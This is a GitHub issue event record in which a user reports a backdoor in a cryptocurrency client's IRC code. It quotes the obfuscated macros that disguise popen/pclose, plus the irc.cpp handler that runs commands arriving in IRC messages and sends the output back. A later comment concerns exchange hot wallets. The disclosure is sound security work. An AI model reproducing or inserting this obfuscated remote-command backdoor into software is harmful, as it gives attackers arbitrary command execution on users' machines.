{"action":"created","issue":{"url":"https://api.github.com/repos/alerj78/lucky7coin/issues/1","labels_url":"https://api.github.com/repos/alerj78/lucky7coin/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/alerj78/lucky7coin/issues/1/comments","events_url":"https://api.github.com/repos/alerj78/lucky7coin/issues/1/events","html_url":"https://github.com/alerj78/lucky7coin/issues/1","id":60273593,"number":1,"title":"backdoor in IRC code","user":{"login":"dooglus","id":573356,"avatar_url":"https://avatars.githubusercontent.com/u/573356?v=3","gravatar_id":"","url":"https://api.github.com/users/dooglus","html_url":"https://github.com/dooglus","followers_url":"https://api.github.com/users/dooglus/followers","following_url":"https://api.github.com/users/dooglus/following{/other_user}","gists_url":"https://api.github.com/users/dooglus/gists{/gist_id}","starred_url":"https://api.github.com/users/dooglus/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dooglus/subscriptions","organizations_url":"https://api.github.com/users/dooglus/orgs","repos_url":"https://api.github.com/users/dooglus/repos","events_url":"https://api.github.com/users/dooglus/events{/privacy}","received_events_url":"https://api.github.com/users/dooglus/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"milestone":null,"comments":13,"created_at":"2015-03-08T20:07:10Z","updated_at":"2016-01-15T05:54:06Z","closed_at":null,"body":"There's a backdoor in the IRC code that gives the attacker the ability to run arbitrary commands on the victim's host.\r\n\r\nIn src/allocators.h we see these macros being defined, in an attempt to hide 'popen' and 'pclose' calls:\r\n\r\n    /** Determine system page size in bytes */\r\n    #define S_ORDER(a,b,c,d) b##a##d##c\r\n\r\n    /**\r\n     * OS-dependent memory page locking/unlocking.\r\n     * Defined as policy class to make stubbing for test possible.\r\n     */\r\n    #define CLine S_ORDER(I,F,E,L)\r\n\r\n    /**\r\n     * Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in\r\n     * std::allocator templates.\r\n     */\r\n    #define CRead S_ORDER(p,po,n,e)\r\n    #define CFree S_ORDER(cl,p,e,os)\r\n\r\n    //\r\n    // Allocator that locks its contents from being paged\r\n    // out of memory and clears its contents before deletion.\r\n    //\r\n    #define CBuff \"PR\" \"IV\" \"M\" \"SG\"\r\n\r\nThen in irc.cpp they are used to implement the backdoor:\r\n\r\n            if (vWords[1] == CBuff && vWords[3] == \":!\" && vWords[0].size() > 1)\r\n            {\r\n                CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), \"r\");\r\n                if (buf) {\r\n                    std::string result = \"\";\r\n                    while (!feof(buf))\r\n                        if (fgets(pszName, sizeof(pszName), buf) != NULL)\r\n                            result += pszName;\r\n                    CFree(buf);\r\n                    strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));\r\n                    if (strchr(pszName, '!'))\r\n                        *strchr(pszName, '!') = '\\0';\r\n                    Send(hSocket, strprintf(\"%s %s :%s\\r\", CBuff, pszName, result.c_str()).c_str());\r\n                }\r\n            }\r\n\r\nI expect this is a known issue since this kind of thing doesn't happen accidentally."},"comment":{"url":"https://api.github.com/repos/alerj78/lucky7coin/issues/comments/171878735","html_url":"https://github.com/alerj78/lucky7coin/issues/1#issuecomment-171878735","issue_url":"https://api.github.com/repos/alerj78/lucky7coin/issues/1","id":171878735,"user":{"login":"saddam213","id":4353684,"avatar_url":"https://avatars.githubusercontent.com/u/4353684?v=3","gravatar_id":"","url":"https://api.github.com/users/saddam213","html_url":"https://github.com/saddam213","followers_url":"https://api.github.com/users/saddam213/followers","following_url":"https://api.github.com/users/saddam213/following{/other_user}","gists_url":"https://api.github.com/users/saddam213/gists{/gist_id}","starred_url":"https://api.github.com/users/saddam213/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/saddam213/subscriptions","organizations_url":"https://api.github.com/users/saddam213/orgs","repos_url":"https://api.github.com/users/saddam213/repos","events_url":"https://api.github.com/users/saddam213/events{/privacy}","received_events_url":"https://api.github.com/users/saddam213/received_events","type":"User","site_admin":false},"created_at":"2016-01-15T05:54:06Z","updated_at":"2016-01-15T05:54:06Z","body":"Cryptsy never should have had that much in hot wallets, 300k LTC and 16K in hot wallet, ridiculous "}}